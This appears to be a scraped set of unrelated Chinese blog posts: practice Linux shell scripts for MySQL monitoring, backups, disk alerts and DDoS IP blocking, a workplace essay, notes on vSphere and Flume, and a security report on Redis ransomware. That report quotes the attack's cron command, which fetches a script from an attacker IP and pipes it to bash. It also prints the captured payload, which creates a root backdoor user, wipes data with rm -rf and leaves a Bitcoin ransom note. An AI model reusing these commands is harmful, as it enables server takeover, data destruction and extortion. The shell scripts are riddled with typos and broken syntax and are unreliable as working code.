"网卡出口流量增幅异常" "增幅Snet_out_dff" fi echo "net_in Snet_in" >> $ dir/net.Iog echo "net_out Snet_out">> $ dir/net.Iog
本脚本来自有学习阿铭的博文学习:在大数的互联网公司,其数据库都使用开源的MySQL,其架构也是主从为主,所以监控数据库主从同步情况尤为重要。提示:本文中的S全部都$符,不要问为什么,马云爸爸的社区就这样。 #!/bin/bash #用途:监控MySQL数据库的主从状态的shell的脚本。 #作者:Caron maktini #日期:2018年11月19日 #版本:v0.1 #要求如下:每分钟检测一次主从连接状况,未连接则不再执行;不同步情况发生后将向预留邮箱报警;在没有解决情况下,需要每隔30分钟发一次告警邮件。 #把脚本名字存入变量s_name s_name=`echo $0 | awk -F '/' '{print $NF}'` Mysql_c="mysql -uroot -p密码" #该函数实现邮件告警收敛 m_mail(){ log=$1 t_s=`date +%s` t_s2=`date -d " 1 hours ago" +%s` if [ ! -f /tmp/$log ] then #创建$log文件 touch /tmp/$log #增加a权限。只允许追加内容,不允许更改或者删除 chattr +a /tmp/$log #第一次告警,可以直接写入1小时的时间戳 echo St_s >> /tmp/$log fi #无论$log文件是否刚刚创建,都需要查看最后一行的时间戳 t_s2=`tail -1 /tmp/$log|awk '{print $1}'` #取出最后一行即上次告警的时间戳后,立即写入当前的时间戳 echo St_s>>/tmp/$log #取两次时间戳差值 v=S[St_s-$t_s2] #如果差值超过1800,立即发邮件 if [ $v -gt 1800 ] then #发邮件,其中$2为mail函数的第二个参数,这里为一个文件 python mail.py Smail_user S1 "`cat $2`" 2>/dev/null #定义计算器临时文件,并写入0 echo "0" > /tmp/$log.count else #如果计算器临时文件不存在,需要创建并写入0 if [ ! -f /tmp/$log.count ] then echo "0" > /tmp/$log.count fi nu=`cat /tmp/$log.count` #30分钟内每发生异常告警,计算器加1 nu2= S [ Snu +1 ] echo Snu2>/tmp/$log.count #当告警次数到达30次需要发邮件 if [ $nu2 -gt 30 ] then python mail.py $mail_user "$1 30 min " " `cat $2`" 2>/dev/null #第二次告警后,将计算器再次从0开始 echo "0" > /tmp/$log.count fi fi } #把进程情况存入临时文件,如果加管道求行数会有问题 ps aux | grep "$s_name" | grep -vE "$$|grep">/tmp/ps.tmp p_n=`wc -l /tmp/ps.tmp | awk '{print $1}'` #当进程数大于0,则说明上次的脚本还未执行完 if [ $p_n -gt 0 ] then exit fi 先执行一条执行show processlist, 看是否执行成功 $Mysql_c -e "show processlist" > /tmp/mysql_pro.log 2>/tmp/mysql_log.err #如果上一条命令执行不成功,说明这个MySQL服务出了问题。 if [ $? -gt 0 ] then m_mail mysql_service_error /tmp/mysql_log.err exit else $Mysql_c -e "show slave status\G" >/tmp/mysql_s.log n1=`wc -l /tmp/mysql_s.log|awk '{print $1}'` if [ $n1 -gt 0 ] then y1=`grep 'Slave_IO-Running:' /tmp/msyql_s.log|awk -F : '{print $2} ' | sed s# ##g'` y2=`grep 'Slave_SQL-Running:' /tmp/msyql_s.log|awk -F : '{print $2} ' | sed s# ##g'` if [ Sy1 == "NO" ] || [ $y2 == "NO" ] then m_mail mysql_slavestatus_error /tmp/mysql_s.log fi fi fi
本脚本来自有学习阿铭的博文学习:在生产中,为了防止高并发,单点,灾变,和负载均衡等一些突发情况,会将多台服务器用来跑用一代码。但是如果上线的代码出现了问题,将导致代码不一样的情况。 #!/bin/bash #用途:检测不同服务器上代码差别的shell的脚本。 #作者:Caron maktini #日期:2018年10月18日 #版本:v0.1 #假设B机器IP地址为192.168.0.1 B_ip=192.168.0.1 dir=/data/wwwroot/www.abd.com #首先检查/tmp/md5.list文件是否存在,存在的话就删除掉,避免影响后续操作 [ -f /tmp/md5.list ] && rm -f /tmp/md5.list #把除了uploads以及tmp目录外其他目录下的全部文件列出来 cd $ dir find . \( -path "/uploads*" -o -path "./tmp*" \) #用while循环,求出所有文件的md5值,并写入一个文件里 cat /tmp/file.Iist l while read line do md5sum $line done >> /tmp/md5.Iist #将md5.list拷贝到B机器 scp /tmp/md5.Iist $B_ip:/tmp/ #判断/tmp/check_md5.sh文件是否存在 [ -f /tmp/check_md5.sh && rm -f /tmp/check_md5.sh ] #用Here Document编写check_md5.sh脚本内容 cat > /tmp/check_md5. sh << EOF #!/bin/bash dir=/data/wwwroot/www.abd.com ##注意,这里涉及到的特殊符号都需要脱义,比如反引号和$ n=\`wc -l /tmp/md5.list | awk '{print \ $1}'`\ for i in \`sep 1 \$n\`\ do file_name=\` sed -n "\$i"p /tmp/md5.list I awk '{print \$1}'\` md5=\`sed -n "\$i" p /tmp/md5.Iist l awk '{print \$2 }'\` if [ -f \$file_name ] then md5_b= \`md5sum \$file_name\` if [ \$md5_b != \$md5 ] then echo " \$file_name changed" fi else echo " \$file_name lose " fi done > /data/change. Iog EOF scp /tmp/check_md5.sh $B_ip:/tmp/ ssh $B_ip "/bin/bash /tmp/check_md5.sh"
本脚本来自有学习阿铭的博文学习:公司监控最基本的一般都要监控磁盘的使用情况,否则将导致业务上的事故。一般监控要求如下:每分钟都要扫描一下磁盘的状况。当磁盘空间使用率或者inode使用率高于90%的情况,就需要报警。并把统计使用率超过90%的分区的所有的子目录的,按照大小依次排列,把前3的目录名称发给到邮箱。第一次未处理,30分钟后在一次。 #!/bin/bash #用途:监控磁盘的使用情况。 #作者:Caron maktini #日期:2018年10月18日 #版本:v0.1 #把脚本名字存在变量l-name l_name=`echo $0 | awk -F '/' 'print $NF'` #定义收件人的邮箱 mail_user=admin@admin.com #定义检查磁盘的空间使用率函数 chk_sp() { df -m | sed '1d' | awk -F '% | +' '$5>90 {print $7,$5}'>/tmp/chk_sp.log n=`wc -l /tmp/chk_sp.log | awk 'print $1'` if [ $n -gt 0 ] then tag=1 for d in `awk '{print $1}' /tmp/chk_sp.log` do find $d -type d | sed '1d' | xargs du -sm | sort -nr | head -3 done >/tmp/most_sp.txt fi } #定义检查inode使用率函数 chk_in() { df -i | sed `1d` | awk -F '% | +' '$5>90 {print $7,$5}'>/tmp/chk_in.log n=`wc -l /tmp/chk_in.log | awk '{print $1}'` if [ $n -gt 0 ] then tag=2 fi } #定义告警函数 m_mail(){ log=$1 t_s=`date +%s` t_s2=`data -d "1 hours ago" +%s` if [ ! -f /tmp/$log ] then #创建$log文件 touch /tmp/$log #增加a权限,只允许追加内容,不允许更改或删除 chattr +a /tmp/$log #第一次告警,可以直接写入1小时以前的时间戳 echo $t_s2 >> /tmp/$log fi #无论#log文件是否刚刚创建,都需要查看最后一行的时间戳 t_s2=`tail -l /tmp/$log | awk '{print $1}'` # 取出最后一行及上次告警的时间戳,立即写入当期的时间戳 echo $t_s >>/tmp/$log #取两次时间戳差值 v=$[ $t_s-$t_s2 ] #如果差值超过100,立即发送邮件。 if [ $v -gt 1800 ] then #发邮件,其中$2为mail函数的第二个函数,这里为一个文件 python mail.py $mail_user "磁盘使用率超过90%" #定义技数器临时文件,并写入0 echo "0" > /tmp/$log.count else #如果技数器临时文件不存在,需要创建并写入0 if [ ! -f /tmp/$log.count } then echo "0" > /tmp/$log.count fi nu=`cat /tmp/$log.count` #30分钟内每发生1次告警,计算器加1 nu2=$[ $nu+1 ] echo $nu2>/tmp/$log.count #当告警次数超过30次,需要再次发油件 if [ $nu2 -gt 30 ] then python mail.py $mail_user "磁盘使用率90%持续30分钟了" "`cat $2`" 2>/dev/null #第二次告警后,将计算器再次从0开始 echo "0" > /tmp/$log.count fi fi } #把进程数大于0.则说明上次的脚本还未执行完 if [ $p_n -gt 0 ] then exit fi chk_sp chk_in if [ $tag == 1 ] then m_mail chk_sp /tmp/most_sp.txt elif [ $tag == 2 ] then m_mail chk_in /tmp/chk_in.log fi
本文手录与工作2月有余的公司 什么叫会工作:我已经和大学生这一身份渐行渐远,自己也慢慢的变成了独立的人格。但是自己周边的亲人和朋友还有不时的影响着,不但无法教育示范他人,而且还能被其所累。特复录此文,以警示自己,告诫他人。很多大学生,往往一毕业就遇到一个问题:进入单位之后,发现自己居然不会工作。好像从学校到职场,中间有一道巨大的沟,很多人就是跨不过去。有的人,即使工作了很多年,也还是跨不过去。那这道沟是啥呢?是协作。 在学校,学生的主要任务是学习,学习是一个把知识装进自己脑袋的过程,主要得靠自己,协作没有那么重要。 但是到了工作环境下,就不只是应用脑袋里的知识那么简单了。事实上,在社会上干成任何一件事,都牵涉到广泛的协作。就算你是一个纯粹的手艺人,比如你就是一个设计师,那也存在一个怎么把自己的手艺卖好,怎么提高自己业界地位的问题,这都是协作。但是怎么协作呢?学校里一般不教。当然了,我们今天这个十分钟的小节目,我也没本事教会一个人协作。但是最近我遇到了一个词,也许可以从另外一个侧面让大家看到怎么逐步提高自己的协作能力。这个词,就是我上周一期节目里提到的“军工六性”。就是一个军工产品,应该具备哪六个方面的性能?我觉得值得从“会工作”这个层面展开来讲一讲。军工产品,有什么特殊性?它是战场上用的,生死攸关,是在人类最复杂的互动场景中使用的。一把枪,一门炮,一颗导弹,一件仪器,它自己的质量和性能当然重要,但是更重要的是,还必须把它放在复杂的协作网络中看,它必须和军队组织和战场环境充分协同,才能发挥出它的性能。你看,这个要求,是不是就和一个大学毕业生参加工作之后的情况有点像?你自己有本事,但是还要怎么和周边的因素协作?所以,今天我们就拿“军工六性”的要求来看看一个人怎么培养自己的工作协作能力。我先说一遍这六性。分别是稳定性、适应性、安全性、保障性、维修性和测试性。下面我们一个个地对照着说。所谓“稳定性”,这个好理解,一把枪,总得能稳定地发挥自己的性能。对照到工作场景中,就是你得靠谱。我们以前讲过,靠谱就是:“凡事有交代,件件有着落,事事有回音。”不需要你有多大的能力,但是,能让你的协作伙伴知道你的能力边界和行动进度,就叫靠谱。这是最简单的社会化要求。做到了这一点,你就是一个合格的职场人了。请注意,能达到这个要求的人,其实刚开始并不多。军工六性的第二条,叫“适应性”。一把枪,一门炮,能够在各种极端情况下,比如极寒、极热、高山、沼泽都能使用,这就叫适应性。那对应到工作中,你看,出现了一个新的变量,那就是环境。工作中的协作对象,不仅是同事啊,还有供应商、资源方、用户、技术、媒体、政府等等,这些因素和一个组织里的同事不同,具有很大的不确定性。这些因素一旦发生巨大的意外变动,你能不能适应呢?比如,技术突然奔溃、愤怒的客户投诉、供应商突然毁约、铺天盖地的负面新闻,这些事如果你再能从容应对,你的工作能力就上了一个台阶。对照军工六性,就可以说你具备了适应性。这个能力台阶,叫职业化。什么意思?就是你能把自己的职业角色,和个人角色区别开来。比如你是一个客服,用户打电话暴怒地骂你,你得能知道,这不是骂你的个人角色,而是在指责你公司的服务或者是产品。所以你就用你的职业角色平和应对,而不是用个人角色觉得对方怎么素质这么差,干脆跟他对骂。做到职业化,实际上,你就把自己的“价值输出”稳定下来了。能够以不变应万变,尽人事,听天命。再回到“军工六性”。第三个是“安全性”。你看,协作要素进一步增多,你不仅是要适应环境了,还要适应环境中的人,有人的地方,安全问题才突出。军火不能伤到自己人嘛,要让人放心嘛。那对应到工作中呢,就是让周边的人放心。请注意,这条要求比我们之前讲的靠谱,要更进一步。不仅能稳定交付性能,更使周边的协作网络敢于把一摊子事交给你。这是他们要求的安全性。我们经常会在工作中表扬一个人,说,事情交到他手里落不到地上。什么意思?不是说他干什么什么都能成,那是神仙。而是说,他即使没有把事干成,大家也相信他尽到了自己的努力,已经把可以尝试的方法穷尽了一遍。请注意,你一旦踏上这一级台阶,这就是工作能力的巨大升级,这一级会甩掉很多人。因为踏上这一级,你就可以当一个团队的领导了。很多人都以为当领导、升职是对一个人工作表现的肯定,就像我们在小学当班长那样,是对好孩子的奖励。其实不然,站在工作单位上级的角度,只会给一种人升职,就是他可以让周围的协作者放心,不见得他自己的工作能力有多强,但是他已经有能力把一个复杂系统,包括各种不确定性,封装成一个简单的工作界面了。这和个体的技能,不完全是一回事。这就是军工六性的第三点,安全性。再来看军工六性的第四条,“保障性”。这就是能力的再升级。你想,军工产品平时不需要那么多,一旦打仗,那就是非常紧急,需求会突然放量。那么一个产品设计出来,它的成本够不够低?原料好不好找?一旦打仗,是不是很多工厂都能在短时间内加入生产?生产出来好不好保管,好不好运输?能否以最高的效率投放到战场上去?这就是保障性。而对应到工作中,所谓的保障性,就是你有没有能力协同资源,打一场战役?打一场战役和一般的工作不同,出现了时间这个维度,出现了节奏上的要求。哪个地方是关键控制点?什么时候我要投入最密集的资源?哪个体验是绝对不能放过的?有这个判断就叫有了节奏感。踏上了这一级能力台阶的人,通常都有希望升到大公司的VP,副总这个级别了。因为他可以独立负责一个业务条线了。军工六性的第五条,是“维修性”。就是在战场上,这个产品用着用着,突然坏了,他好不好修?能不能以最简单的动作去修?这是一个更加复杂的变量。比如枪,手枪是不会有一个螺丝钉的,都可以徒手拆卸的,这个就是为了好修。合格军人的一个基本技能,就是能蒙着眼睛,徒手拆装一把枪。那对应到职场上,所谓的维修性,就是你能够跨越时间空间,跨越组织的边界,对各种趋势进行预料,并作出预案。重要的已经不是当下的任务能不能达成,而是你现在做的事,能不能在各个维度上,应对和利用未来的重大变量。踏上这个能力台阶的人,已经具备当一家公司CEO的水平了。军工六性的第六条,叫“测试性”。什么意思?这是对维修性的一个升级要求。就是不用等到我去修它,这个产品我拿起来一看,我马上就知道,它是性能完备,还是性能已经降低?是好的还是坏的,一眼可知。相当于我们用手机时时刻刻告诉我们电量还剩百分之多少。这是测试性。对应到工作中,这个能力就体现在,你不仅能干活,把活干成,还能让社会上所有的人能看见、能评估你干的活。你不仅能主动组织协作,还能让不在你视线里的资源主动找上门来跟你合作。你可以把这个境界理解为“个人品牌”,个人工作能力的品牌。一旦踏上了这个台阶,以你的工作能力,不去创业,那就可惜了。总结一下,什么叫“会工作”,就是让自己的能力,逐步适应不同的协作复杂度。我们借用“军工六性”的概念,把一个人的工作能力分成了六个台阶,分别是靠谱的能力、职业化的能力、让合作者放心的能力、组织战役的能力、着眼未来协同资源的能力、和吸引合作的能力。你发现没有?在这个过程中,你不必需追求什么名利、什么升职加薪,随着你的能力逐步上台阶,名、利、权这些东西,是自然的结果而已。 为自己戒,为他人警。
本脚本来自有学习阿铭的博文学习:对与一般互联网公司而言,MySQL是使用最多的数据库软件。其中的数据库备份是最常做的工作。现MySQL数据库备份脚本写一下: #!/bin/bash #用途:MySQL数据库备份 #作者:Caron maktini #日期:2018年10月18日 #版本:v0.1 mysqldump="/usr/local/mysql/bin/mysqldump" bakuser="backup" passwd="2333333" bakdir="/data/backup" remote_dir=" rsync: /192.168.1.11/mysqlbak" d1='date +%F' d2='date +%d' #定义日志 exec &> /tmp/mysql_bak.Iog echo "mysql backup begin at ' date' " #对所有数据库进行遍历 for db in db1 db2 db3 db4 db5 do $ mysqldump -u(doller符) bakuser -p(doller符)passwd (doller符)db>(doller符)bakdir/(doller符)db-(doller符)d1.sql done #对1天前的所有sql文件压缩 find $bakdir/ -type f -name "*.sql" -mtime +1 | xargs gzip #查找一周以前的老文件,并删除 find $bakdir/ -type f -mtime +7 | xargs rm #把当天的备份文件同步到远程 for db in db1 db2 db3 db4 db5 do rsync -a $bakdir/(doller符)db-(doller符)d1.sq1 (doller符)remote_dir/(doller符) db-(doller符)d2.sql done echo "mysql backup end at `date` "
本脚本学习与阿铭的脚本课程。用于防止公司网站被DDos攻击时,封禁“”肉机“” 的IP地址。共分为以下步骤:1、每分钟分析一次访问日志/data/logs/access_log。2、把访问量超过100的IP给封掉。3、将封过的IP地址全部记录到一个日志log中。4、每隔一段时间检查一次被封的IP,将不在超过100的访问的IP解封。5、解封的IP记录到另外的日志中。 #!/bin/bash #用途:防止DDos攻击,将访问量超过100的IP地址禁掉 #作者:Caron maktini #日期:2018年10月17日 #版本:v0.1 t1='date -d "-1 min " +%Y:%H:%M' log=/data/logs/access_log block_ip() { egrep "$t1:[0-5]+ " ¥log > /tmp/tmp_last_min.log #把一分钟内访问量高于100的ip地址记录到一个临时文件中。 awk '{print $1}' /tmp/_last_min.log | sore -n | uniq -c | awk '$1>100 {print $2}' > /tmp/bad_ip.list #计算ip的数量 n=`wc -l /tmp/bad_ip.list | awk '{print $1}'` #当ip数大于0时,才会用iptables封掉。 if [ $n -ne 0 ] then for ip in `cat /tmp/bad_ip.list` do iptables -I INPUT -s $ip -j REJCT done #将这些被封的ip记录到日志里 echo "`date` 封掉的ip有: " >> /tmp/black_ip.log echo /tmp/bad_ip.list >> /tmp/black_ip.log fi } unblock_ip () { #首先将包括个数小于5的ip记录到一个临时文件里,把它们标记为白名单IP iptables -nvL INPUT | sed '1d' | awk '$1<5 {print $8}' > /tmp/good_ip.list n=`wc -l /tmp/good_ip.list | awk '{print $1}'` if [ $n -ne 0 ] then for ip in `cat /tmp/good_ip.list` do iptables -D INPUT -s $ip -j REJECT done echo "`date` 解封的ip有:" >> /tmp/unblock_ip.log cat /tmp/good_ip.list >> /tmp/unblock_ip.log fi #当解封完白名单ip后,将计数清零,进入下一个计数周期 iptables -Z } #取当前时间的分钟数 t=`date +%M` #当分钟数内为00或者30时(即每隔30分钟),执行解封ip的函数,其他时间执行解封ip的函数。 if [ $t == "00" ] || [ $t == "30" ] then unblock_ip block_ip else block_ip fi
本脚本来自有学习阿铭的博文学习:在这里自己动手写一次,连续一下脚本的编写。 #!/bin/bash #批量添加N个用户,user01-userN #作者:Caron # 日期: 2018年10月16日 # 版本:v0.1 #检查是否有mkpasswd命令 #如果没有该命令多需要安装expect包 if ! which mkpasswd &>/dev/null then echo"没有mkpasswd命令,安装该命令: " yum install -y expect fi #判断/data/user_passwd文件是否已经存在 #若存在,应该先删除 [ -f /data/user_passwd ] && rm -f /data/passwd # if [ -f /data/user_passwd ] # then # rm -f /data/user_passwd #fi #因为要创建N个用户,所以只能遍历到N-1 for n in 'seq -w 1 N-1' do pass='mkpasswd -l 12 -s 0' echo "添加用户user_$n" useradd -g users user_$n echo "给用户user_$n设定密码" echo $pass | passwd --stdin user_$n echo "user_$n $ pass" >>/data/user_passwd done pass='mkpass -l 12 -s 0' echo "添加用户user_100" useradd -g users user_N echo "给用户user_N设置密码" echo $pass |passwd --stdin user_N echo "user_N $pass" >>/data/user_passwd
vSphere,ESXi,vCenter之间的关系 VMware vSphere集成容器(VIC)建立了一个在轻量级虚拟机内部署并管理容器的环境。全新的虚拟机环境提供了更高级别的硬件隔离度,灵活性以及可扩展性使得容器对开发人员以及企业应用具有如此大的吸引力。VMware vSphere 是业界领先且最可靠的虚拟化平台。vSphere中的核心组件为VMware ESXi(取代原ESX),ESXi与Citrix的XenServer相似,是一款可以独立安装和运行在祼机上的系统,因此与VMware Workstation软件不同的是它不再依存于宿主操作系统之上。vSphere将应用程序和操作系统从底层硬件分离出来,从而简化了IT操作。用户现有的应用程序可以看到专有资源,而服务器则可以作为资源池进行管理。因此,用户的业务将在简化但恢复能力极强的IT环境中运行。 ESXi--专为运行虚拟机、最大限度降低配置要求和简化部署而设计。只需几分钟时间,客户便可完成从安装到运行虚拟机的全过程,特别是在下载并安装预配置虚拟设备的时候。ESXi--是一个hypervisor,就是一个类似于Xen的虚拟层,用于把X86服务器的硬件进行虚拟化。你在ESXi上面安装其他OS就像在其他硬件上安装OS一样。一旦在一台X86服务器硬件上安装了ESXi,底层的硬件就被虚拟化了,这意味着,你可以用这台服务器创建、配置、多个虚拟机和OS(Linux和Windows都行)hypervisor:超级监督者;管理程序;与虚拟化层 VMware vCenter Server 提供了一个可伸缩、可扩展的平台,为 虚拟化管理奠定了基础。 VMware vCenter Server(以前称为 VMware Virtual Center),可集中管理 VMware vSphere 环境,与其他管理平台相比,极大地提高了 IT 管理员对虚拟环境的控制。vCenter服务器是用于管理一个或者多个ESXi服务器的工具。
9月10日下午15:06开始,阿里云官方首次发现一起规模化利用Redis 未授权访问漏洞进行加密货币勒索的事件,阿里云上防御系统在攻击开始的10s内就已开启全网拦截。与以往的只是通过算力窃取进行挖矿的攻击事件不同,此次攻击者在攻击之初就是以勒索钱财作为第一目的的,攻击者无惧暴露,非常猖狂。直接删除数据、加密数据也意味着攻击者与防御者之间已经没有缓冲地带,基本的攻防对抗将是赤裸裸的一场刺刀战。该高危漏洞早在半年前阿里云就发布过预警,但是还是有不少用户并未进行修改加以重视。阿里云安全专家提醒用户参考文末方法,尽快完成漏洞修复或部署防御,一旦被攻击成功,整个服务器的程序和数据都将会被删除!且很难恢复。Redis应用简介Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。从2010年3月15日起,Redis的开发工作由VMware主持。从2013年5月开始,Redis的开发由Pivotal赞助。Redis漏洞原理作为一个内存数据库,redis 可通过周期性配置或者手动执行save命令,将缓存中的值写入到磁盘文件中。如果redis进程权限足够,攻击者就可以利用它的未授权漏洞来写入计划任务、ssh登录密钥、webshell 等等,以达到执行任意指令的目的。自2017年12月以来,由于该漏洞已经被大规模利用,如DDG等多个僵尸网络都以该漏洞为目标进行迅速的繁殖和占领算力,并且各大僵尸网络间都会互相删除彼此来保证自己对机器算力的掌握。攻击过程说明● 首先攻击者通过事先的扫描踩点,发现了这些公网可访问并且未设置密码的机器● 攻击者尝试连接这些机器,并且运行如下代码: config set dir /var/spool/cron/ config set dbfilename root config 1 */10 * * * * curl -shttp://103.224.80.52/butterfly.sh | bash save 通过上述指令,将下载脚本:http://103.224.80.52/butterfly.sh并将该脚本写入到计划任务中,由计划任务启动执行。由于在分析时,攻击者感知到我们的反向探查,已经将该脚本下线。但我们的蜜罐成功抓取到了该脚本如下: #!/bin/bash #*butterfly* exportPATH=$PATH:/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin:/usr/local/sbin userdel -r redis useradd -o -u 0 -g 0 redis &>/dev/null echo "abcd-1234-!" |passwd--stdin redis &>/dev/null rm -rf /root/* rm -rf /home/* rm -rf /opt/* rm -rf /data/* rm -rf /data* mkdir -p /data echo -e "\nWarning! \nYour File andDataBase is downloaded and backed up on our secured servers. To recover yourlost data : Send 0.6 BTC to our BitCoin Address and Contact us by eMail withyour server IP Address and a Proof of Payment. Any eMail without your server IPAddress and a Proof of Payment together will be ignored. We will drop thebackup after 24 hours. You are welcome! \nMail:dbsecuritys@protonmail.com\nBitCoin:3JPaDCoRnQatEEDoY59KtgF38GZiL5Kiny\n" > /root/Warning.txt chmod +x /root/Warning.txt cp /root/Warning.txt /Warning.txt cp /root/Warning.txt /data/Warning.txt echo -e "\nWarning! \nYour File andDataBase is downloaded and backed up on our secured servers. To recover yourlost data : Send 0.6 BTC to our BitCoin Address and Contact us by eMail withyour server IP Address and a Proof of Payment. Any eMail without your server IPAddress and a Proof of Payment together will be ignored. We will drop thebackup after 24 hours. You are ● 攻击者要求给地址:3JPaDCoRnQatEEDoY59KtgF38GZiL5Kiny 发送0.6个比特币,否则将在24小时之内删除数据备份。● 但是从这个脚本中可以明显看出,攻击者根本没有进行备份,即使被攻击者给了钱,也是要不回数据的。截止到9月10日晚8点为止,该地址共收到了0.6个比特币的转账,并且都是在今日进行发送的,已经有受害者开始转账了。 **# 安全建议● 通过安全组限制对公网对Redis等服务的访问● 通过修改redis.conf配置文件,增加密码认证,并隐藏重要命令● 以低权限运行redis服务等** 原文发布时间:2018年09月10日本文作者:本文来自云栖社区合作伙伴“阿里云安全”,了解相关信息可以关注“阿里云安全”。
当小伙伴们更新Yum源的时候偶然会出现下图的情况:不用担心,这是因为后台有程序在使用 Yum。 ps aux | grep yum kil -s 9 进程号 # 这样就可以加载Yum源。
前言 好好的学习,才是正道! 一、Flume简介 flume 作为 cloudera 开发的实时日志收集系统,受到了业界的认可与广泛应用。Flume 初始的发行版本目前被统称为 Flume OG(original generation),属于 cloudera。 但随着 FLume 功能的扩展,Flume OG 代码工程臃肿、核心组件设计不合理、核心配置不标准等缺点暴露出来,尤其是在 Flume OG 的最后一个发行版本 0.9.4. 中,日志传输不稳定的现象尤为严重,为了解决这些问题,2011 年 10 月 22 号,cloudera 完成了 Flume-728,对 Flume 进行了里程碑式的改动:重构核心组件、核心配置以及代码架构,重构后的版本统称为 Flume NG(next generation);改动的另一原因是将 Flume 纳入 apache 旗下,cloudera Flume 改名为 Apache Flume。 备注:Flume参考资料 官方网站: http://flume.apache.org/ 用户文档: http://flume.apache.org/FlumeUserGuide.html 开发文档: http://flume.apache.org/FlumeDeveloperGuide.html 二、Flume特点 flume是一个分布式、可靠、和高可用的海量日志采集、聚合和传输的系统。支持在日志系统中定制各类数据发送方,用于收集数据;同时,Flume提供对数据进行简单处理, 并写到各种数据接受方(比如文本、HDFS、Hbase等)的能力 。 flume的数据流由事件(Event)贯穿始终。事件是Flume的基本数据单位,它携带日志数据(字节数组形式)并且携带有头信息,这些Event由Agent外部的Source生成,当Source捕获事件后会进行特定的格式化,然后Source会把事件推入(单个或多个)Channel中。你可以把Channel看作是一个缓冲区,它将保存事件直到Sink处理完该事件。 Sink负责持久化日志或者把事件推向另一个Source。 1)flume的可靠性 当节点出现故障时,日志能够被传送到其他节点上而不会丢失。Flume提供了三种级别的可靠性保障,从强到弱依次分别为:end-to-end(收到数据agent首先将event写到磁盘上,当数据传送成功后,再删除;如果数据发送失败,可以重新发送。),Store on failure(这也是scribe采用的策略,当数据接收方crash时,将数据写到本地,待恢复后,继续发送),Besteffort(数据发送到接收方后,不会进行确认)。 2)flume的可恢复性 还是靠Channel。推荐使用FileChannel,事件持久化在本地文件系统里(性能较差)。 三、Flume的一些核心概念 Client:Client生产数据,运行在一个独立的线程。 Event: 一个数据单元,消息头和消息体组成。(Events可以是日志记录、 avro 对象等。) Flow: Event从源点到达目的点的迁移的抽象。 Agent: 一个独立的Flume进程,包含组件Source、 Channel、 Sink。(Agent使用JVM 运行Flume。每台机器运行一个agent,但是可以在一个agent中包含多个sources和sinks。) Source: 数据收集组件。(source从Client收集数据,传递给Channel) Channel: 中转Event的一个临时存储,保存由Source组件传递过来的Event。(Channel连接 sources 和 sinks ,这个有点像一个队列。) Sink: 从Channel中读取并移除Event, 将Event传递到FlowPipeline中的下一个Agent(如果有的话)(Sink从Channel收集数据,运行在一个独立线程。) 3.1、Agent结构 Flume 运行的核心是 Agent。Flume以agent为最小的独立运行单位。一个agent就是一个JVM。它是一个完整的数据收集工具,含有三个核心组件,分别是source、 channel、 sink。通过这些组件, Event 可以从一个地方流向另一个地方。 3.2、source Source是数据的收集端,负责将数据捕获后进行特殊的格式化,将数据封装到事件(event) 里,然后将事件推入Channel中。 Flume提供了很多内置的 Source, 支持 Avro, log4j, syslog 和 http post(body为json格式)。可以让应用程序同已有的Source直接打交道,如AvroSource, SyslogTcpSource。 如果内置的Source无法满足需要, Flume还支持自定义Source。 source类型: 3.3、Channel Channel是连接Source和Sink的组件,大家可以将它看做一个数据的缓冲区(数据队列),它可以将事件暂存到内存中也可以持久化到本地磁盘上, 直 到Sink处理完该事件。介绍两个较为常用的Channel, MemoryChannel和FileChannel。 Channel类型: 3.4、Sink Sink从Channel中取出事件,然后将数据发到别处,可以向文件系统、数据库、 hadoop存数据, 也可以是其他agent的Source。在日志数据较少时,可以将数据存储在文件系统中,并且设定一定的时间间隔保存数据。 Sink类型: 四、Flume拦截器、数据流以及可靠性 4.1、Flume拦截器 当我们需要对数据进行过滤时,除了我们在Source、 Channel和Sink进行代码修改之外, Flume为我们提供了拦截器,拦截器也是chain形式的。 拦截器的位置在Source和Channel之间,当我们为Source指定拦截器后,我们在拦截器中会得到event,根据需求我们可以对event进行保留还是抛弃,抛弃的数据不会进入Channel中。 4.2、Flume数据流 1)Flume 的核心是把数据从数据源收集过来,再送到目的地。为了保证输送一定成功,在送到目的地之前,会先缓存数据,待数据真正到达目的地后,删除自己缓存的数据。 2) Flume 传输的数据的基本单位是 Event,如果是文本文件,通常是一行记录,这也是事务的基本单位。 Event 从 Source,流向 Channel,再到 Sink,本身为一个 byte 数组,并可携带 headers 信息。 Event 代表着一个数据流的最小完整单元,从外部数据源来,向外部的目的地去。 值得注意的是,Flume提供了大量内置的Source、Channel和Sink类型。不同类型的Source,Channel和Sink可以自由组合。组合方式基于用户设置的配置文件,非常灵活。 比如:Channel可以把事件暂存在内存里,也可以持久化到本地硬盘上。Sink可以把日志写入HDFS, HBase,甚至是另外一个Source等等。Flume支持用户建立多级流,也就是说,多个agent可以协同工作,并且支持Fan-in、Fan-out、Contextual Routing、Backup Routes,这也正是Flume强大之处。如下图所示: 4.3、Flume可靠性 Flume 使用事务性的方式保证传送Event整个过程的可靠性。 Sink 必须在Event 被存入 Channel 后,或者,已经被传达到下一站agent里,又或者,已经被存入外部数据目的地之后,才能把 Event 从 Channel 中 remove 掉。这样数据流里的 event 无论是在一个 agent 里还是多个 agent 之间流转,都能保证可靠,因为以上的事务保证了 event 会被成功存储起来。比如 Flume支持在本地保存一份文件 channel 作为备份,而memory channel 将event存在内存 queue 里,速度快,但丢失的话无法恢复。 五、Flume使用场景 Flume在英文中的意思是水道, 但Flume更像可以随意组装的消防水管,下面根据官方文档,展示几种Flow。 5.1、多个agent顺序连接 可以将多个Agent顺序连接起来,将最初的数据源经过收集,存储到最终的存储系统中。这是最简单的情况,一般情况下,应该控制这种顺序连接的Agent 的数量,因为数据流经的路径变长了,如果不考虑failover的话,出现故障将影响整个Flow上的Agent收集服务。 5.2、多个Agent的数据汇聚到同一个Agent 这种情况应用的场景比较多,比如要收集Web网站的用户行为日志, Web网站为了可用性使用的负载集群模式,每个节点都产生用户行为日志,可以为每个节点都配置一个Agent来单独收集日志数据,然后多个Agent将数据最终汇聚到一个用来存储数据存储系统,如HDFS上。 5.3、多级流 Flume还支持多级流,什么多级流?结合在云开发中的应用来举个例子,当syslog, java, nginx、 tomcat等混合在一起的日志流开始流入一个agent后,可以agent中将混杂的日志流分开,然后给每种日志建立一个自己的传输通道。 5.4、load balance功能 上图Agent1是一个路由节点,负责将Channel暂存的Event均衡到对应的多个Sink组件上,而每个Sink组件分别连接到一个独立的Agent上 。 六、Flume核心组件 Flume主要由3个重要的组件构成: 1)Source: 